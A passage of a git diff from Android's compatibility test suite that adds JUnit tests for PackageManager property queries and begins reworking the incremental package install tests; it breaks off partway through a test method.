+        } else if (propertyType == PROPERTY_TYPE_RESOURCE) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertTrue(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer resourceValue = (Integer) propertyValue;
+            assertEquals(resourceValue.intValue(), testProperty.getResourceId());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_STRING) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertTrue(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final String stringValue = (String) propertyValue;
+            assertEquals(stringValue, testProperty.getString());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+        } else {
+            fail("Unknown property type");
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
new file mode 100644
index 0000000..9a2e310
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
@@ -0,0 +1,499 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.List;
+import java.util.Objects;
+
+@RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
+public class PackageManagerQueryPropertyTest {
+
+    private static PackageManager sPackageManager;
+    private static final String PROPERTY_APP1_PACKAGE_NAME = "com.android.cts.packagepropertyapp1";
+    private static final String PROPERTY_APP2_PACKAGE_NAME = "com.android.cts.packagepropertyapp2";
+    private static final String PROPERTY_APP3_PACKAGE_NAME = "com.android.cts.packagepropertyapp3";
+    private static final TestApp PROPERTY_APP1 =
+            new TestApp("PackagePropertyTestApp1", PROPERTY_APP1_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp1.apk");
+    private static final TestApp PROPERTY_APP2 =
+            new TestApp("PackagePropertyTestApp2", PROPERTY_APP2_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp2.apk");
+    private static final TestApp PROPERTY_APP3 =
+            new TestApp("PackagePropertyTestApp3", PROPERTY_APP3_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp3.apk");
+    private static void adoptShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
+    }
+
+    private static void dropShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @BeforeClass
+    public static void setupClass() throws Exception {
+        sPackageManager = InstrumentationRegistry
+                .getInstrumentation()
+                .getContext()
+                .getPackageManager();
+    }
+
+    @Before
+    public void setup() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP3_PACKAGE_NAME);
+        Install.single(PROPERTY_APP1).commit();
+        Install.single(PROPERTY_APP2).commit();
+        dropShellPermissions();
+    }
+
+    @After
+    public void teardown() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP3_PACKAGE_NAME);
+        dropShellPermissions();
+    }
+
+    @Test
+    public void testQueryApplicationProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_INTEGER_VIA_RESOURCE");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_INTEGER_VIA_RESOURCE",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_STRING2");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING2",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_STRING, "giraffe");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_DOES_NOT_EXIST");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryActivityProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_ACTIVITY");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_ACTIVITY_ALIAS");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY_ALIAS",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY_ALIAS",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_COMPONENT");
+            assertEquals(3, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_BOOLEAN, true);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_STRING");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_STRING, "koala activity");
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_STRING, "giraffe");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryProviderProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryProviderProperty("android.cts.PROPERTY_PROVIDER");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_PROVIDER",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_PROVIDER",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider",
+                    PROPERTY_TYPE_STRING, "giraffe");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryProviderProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryReceiverProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryReceiverProperty("android.cts.PROPERTY_RECEIVER");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RECEIVER",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RECEIVER",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryReceiverProperty("android.cts.PROPERTY_STRING");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_STRING, "koala receiver");
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_STRING, "koala receiver");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryReceiverProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryServiceProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryServiceProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_SERVICE",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_SERVICE",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryServiceProperty("android.cts.PROPERTY_COMPONENT");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_RESOURCE, 0x7f040000);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryServiceProperty("android.cts.PROPERTY_ACTIVITY");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testPackageRemoval() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        dropShellPermissions();
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Install.single(PROPERTY_APP2).commit();
+        dropShellPermissions();
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        dropShellPermissions();
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_STRING2");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testInvalidArguments() throws Exception {
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryApplicationProperty(null);
+            fail("queryApplicationProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryActivityProperty(null);
+            fail("queryActivityProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryProviderProperty(null);
+            fail("queryProviderProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryReceiverProperty(null);
+            fail("queryReceiverProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final List<Property> testPropertyList = sPackageManager.queryServiceProperty(null);
+            fail("queryServiceProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    private static final int PROPERTY_TYPE_BOOLEAN = 1;
+    private static final int PROPERTY_TYPE_FLOAT = 2;
+    private static final int PROPERTY_TYPE_INTEGER = 3;
+    private static final int PROPERTY_TYPE_RESOURCE = 4;
+    private static final int PROPERTY_TYPE_STRING = 5;
+    private void assertProperty(Property testProperty, String propertyName,
+            String packageName, String className, int propertyType, Object propertyValue) {
+        assertNotNull(testProperty);
+        assertEquals(propertyName, testProperty.getName());
+        assertEquals(packageName, testProperty.getPackageName());
+        assertTrue(Objects.equals(className, testProperty.getClassName()));
+        assertEquals(propertyType, testProperty.getType());
+
+        if (propertyType == PROPERTY_TYPE_BOOLEAN) {
+            assertTrue(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Boolean boolValue = (Boolean) propertyValue;
+            if (boolValue.booleanValue()) {
+                assertTrue(testProperty.getBoolean());
+            } else {
+                assertFalse(testProperty.getBoolean());
+            }
+            // assert the other values have an appropriate default
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_FLOAT) {
+            assertFalse(testProperty.isBoolean());
+            assertTrue(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Float floatValue = (Float) propertyValue;
+            assertEquals(floatValue.floatValue(), testProperty.getFloat(), 0.0f);
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_INTEGER) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertTrue(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer integerValue = (Integer) propertyValue;
+            assertEquals(integerValue.intValue(), testProperty.getInteger());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_RESOURCE) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertTrue(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer resourceValue = (Integer) propertyValue;
+            assertEquals(resourceValue.intValue(), testProperty.getResourceId());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_STRING) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertTrue(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final String stringValue = (String) propertyValue;
+            assertEquals(stringValue, testProperty.getString());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+        } else {
+            fail("Unknown property type");
+        }
+    }
+
+    private void assertProperty(List<Property> properties, String propertyName,
+            String packageName, String className, int propertyType, Object propertyValue) {
+        int match = 0;
+        for (int i = properties.size() - 1; i >= 0; i--) {
+            final Property property = properties.get(i);
+            try {
+                assertProperty(property, propertyName, packageName, className, propertyType,
+                        propertyValue);
+                match++;
+            } catch (Throwable ignore) {
+            }
+        }
+        assertEquals("Property"
+                + "; name: " + propertyName
+                + ", package: " + packageName
+                + ", class: " + className, 1, match);
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index 75f7cc4..8a89898 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -21,142 +21,136 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.SystemClock;
+import android.os.SystemProperties;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
 import android.service.dataloader.DataLoaderService;
 import android.text.TextUtils;
+import android.util.ArrayMap;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.incfs.install.IBlockFilter;
+import com.android.incfs.install.IBlockTransformer;
+import com.android.incfs.install.IncrementalInstallSession;
+import com.android.incfs.install.PendingBlock;
+
+import libcore.io.IoUtils;
+
+import org.apache.commons.compress.compressors.lz4.BlockLZ4CompressorOutputStream;
 import org.junit.After;
+import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.BufferedReader;
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.io.InputStreamReader;
 import java.io.OutputStream;
-import java.io.Reader;
+import java.nio.ByteBuffer;
+import java.nio.channels.Channels;
+import java.nio.file.Paths;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Optional;
+import java.util.Random;
+import java.util.Scanner;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.function.Function;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
 @RunWith(AndroidJUnit4.class)
 @AppModeFull
+@LargeTest
 public class PackageManagerShellCommandIncrementalTest {
+    private static final String TAG = "PackageManagerShellCommandIncrementalTest";
+
+    private static final String CTS_PACKAGE_NAME = "android.content.cts";
     private static final String TEST_APP_PACKAGE = "com.example.helloworld";
 
     private static final String TEST_APK_PATH = "/data/local/tmp/cts/content/";
     private static final String TEST_APK = "HelloWorld5.apk";
-    private static final String TEST_APK_SPLIT = "HelloWorld5_hdpi-v4.apk";
+    private static final String TEST_APK_IDSIG = "HelloWorld5.apk.idsig";
+    private static final String TEST_APK_PROFILEABLE = "HelloWorld5Profileable.apk";
+    private static final String TEST_APK_SHELL = "HelloWorldShell.apk";
+    private static final String TEST_APK_SPLIT0 = "HelloWorld5_mdpi-v4.apk";
+    private static final String TEST_APK_SPLIT0_IDSIG = "HelloWorld5_mdpi-v4.apk.idsig";
+    private static final String TEST_APK_SPLIT1 = "HelloWorld5_hdpi-v4.apk";
+    private static final String TEST_APK_SPLIT1_IDSIG = "HelloWorld5_hdpi-v4.apk.idsig";
+    private static final String TEST_APK_SPLIT2 = "HelloWorld5_xhdpi-v4.apk";
+    private static final String TEST_APK_SPLIT2_IDSIG = "HelloWorld5_xhdpi-v4.apk.idsig";
+
+    private static final long EXPECTED_READ_TIME = 1000L;
+
+    IncrementalInstallSession mSession = null;
 
     private static UiAutomation getUiAutomation() {
         return InstrumentationRegistry.getInstrumentation().getUiAutomation();
     }
 
-    private static String executeShellCommand(String command) throws IOException {
-        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(command);
-        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
-            return readFullStream(inputStream);
-        }
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
     }
 
-    private static String executeShellCommand(String command, File[] inputs)
-            throws IOException {
-        return executeShellCommand(command, inputs, Stream.of(inputs).mapToLong(
-                File::length).toArray());
-    }
-
-    private static String executeShellCommand(String command, File[] inputs, long[] expected)
-            throws IOException {
-        assertEquals(inputs.length, expected.length);
-        final ParcelFileDescriptor[] pfds =
-                InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                        .executeShellCommandRw(command);
-        ParcelFileDescriptor stdout = pfds[0];
-        ParcelFileDescriptor stdin = pfds[1];
-        try (FileOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(
-                stdin)) {
-            for (int i = 0; i < inputs.length; i++) {
-                try (FileInputStream inputStream = new FileInputStream(inputs[i])) {
-                    writeFullStream(inputStream, outputStream, expected[i]);
-                }
-            }
-        }
-        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
-            return readFullStream(inputStream);
-        }
-    }
-
-    private static String readFullStream(InputStream inputStream, long expected)
-            throws IOException {
-        ByteArrayOutputStream result = new ByteArrayOutputStream();
-        writeFullStream(inputStream, result, expected);
-        return result.toString("UTF-8");
-    }
-
-    private static String readFullStream(InputStream inputStream) throws IOException {
-        return readFullStream(inputStream, -1);
-    }
-
-    private static void writeFullStream(InputStream inputStream, OutputStream outputStream,
-            long expected)
-            throws IOException {
-        byte[] buffer = new byte[1024];
-        long total = 0;
-        int length;
-        while ((length = inputStream.read(buffer)) != -1 && (expected < 0 || total < expected)) {
-            outputStream.write(buffer, 0, length);
-            total += length;
-        }
-        if (expected > 0) {
-            assertEquals(expected, total);
-        }
-    }
-
-    private static String waitForSubstring(InputStream inputStream, String expected)
-            throws IOException {
-        try (Reader reader = new InputStreamReader(inputStream);
-             BufferedReader lines = new BufferedReader(reader)) {
-            return lines.lines().filter(line -> line.contains(expected)).findFirst().orElse("");
-        }
+    private static PackageManager getPackageManager() {
+        return getContext().getPackageManager();
     }
 
     @Before
     public void onBefore() throws Exception {
         checkIncrementalDeliveryFeature();
-        uninstallPackageSilently(TEST_APP_PACKAGE);
-        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+        cleanup();
     }
 
     @After
     public void onAfter() throws Exception {
-        uninstallPackageSilently(TEST_APP_PACKAGE);
-        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
-        assertEquals(null, getSplits(TEST_APP_PACKAGE));
+        cleanup();
     }
 
     private void checkIncrementalDeliveryFeature() throws Exception {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        Assume.assumeTrue(context.getPackageManager().hasSystemFeature(
+        Assume.assumeTrue(getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_INCREMENTAL_DELIVERY));
     }
 
+    private void checkIncrementalDeliveryV2Feature() throws Exception {
+        checkIncrementalDeliveryFeature();
+        Assume.assumeTrue(getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
+    }
+
+    @Test
+    public void testAndroid12RequiresIncFsV2() throws Exception {
+        final boolean v2Required = (SystemProperties.getInt("ro.product.first_api_level", 0) > 30);
+        if (v2Required) {
+            Assert.assertTrue(getPackageManager().hasSystemFeature(
+                    PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
+        }
+    }
+
     @Test
     public void testInstallWithIdSig() throws Exception {
         installPackage(TEST_APK);
@@ -164,9 +158,51 @@
     }
 
     @Test
+    @Ignore("Wait until the kernel change lands in RVC branch for the mixed vendor image tests")
+    public void testBug183952694Fixed() throws Exception {
+        // first ensure the IncFS is up and running, e.g. if it's a module
+        installPackage(TEST_APK);
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+
+        // the bug is fixed in the v2 version, or when the specific marker feature is present
+        final String[] validValues = {"v2", "mounter_context_for_backing_rw"};
+        final String features = executeShellCommand("ls /sys/fs/incremental-fs/features/");
+        assertTrue(
+                "Missing all of required IncFS features [" + TextUtils.join(",", validValues) + "]",
+                Arrays.stream(features.split("\\s+")).anyMatch(
+                        f -> Arrays.stream(validValues).anyMatch(f::equals)));
+    }
+
+    @Test
+    public void testSplitInstallWithIdSig() throws Exception {
+        // First fully install the apk.
+        {
+            installPackage(TEST_APK);
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        }
+
+        installSplit(TEST_APK_SPLIT0);
+        assertEquals("base, config.mdpi", getSplits(TEST_APP_PACKAGE));
+
+        installSplit(TEST_APK_SPLIT1);
+        assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSystemInstallWithIdSig() throws Exception {
+        final String baseName = TEST_APK_SHELL;
+        final File file = new File(createApkPath(baseName));
+        assertEquals(
+                "Failure [INSTALL_FAILED_SESSION_INVALID: Incremental installation of this "
+                        + "package is not allowed.]\n",
+                executeShellCommand("pm install-incremental -t -g " + file.getPath()));
+    }
+
+    @LargeTest
+    @Test
     public void testInstallWithIdSigAndSplit() throws Exception {
         File apkfile = new File(createApkPath(TEST_APK));
-        File splitfile = new File(createApkPath(TEST_APK_SPLIT));
+        File splitfile = new File(createApkPath(TEST_APK_SPLIT0));
         File[] files = new File[]{apkfile, splitfile};
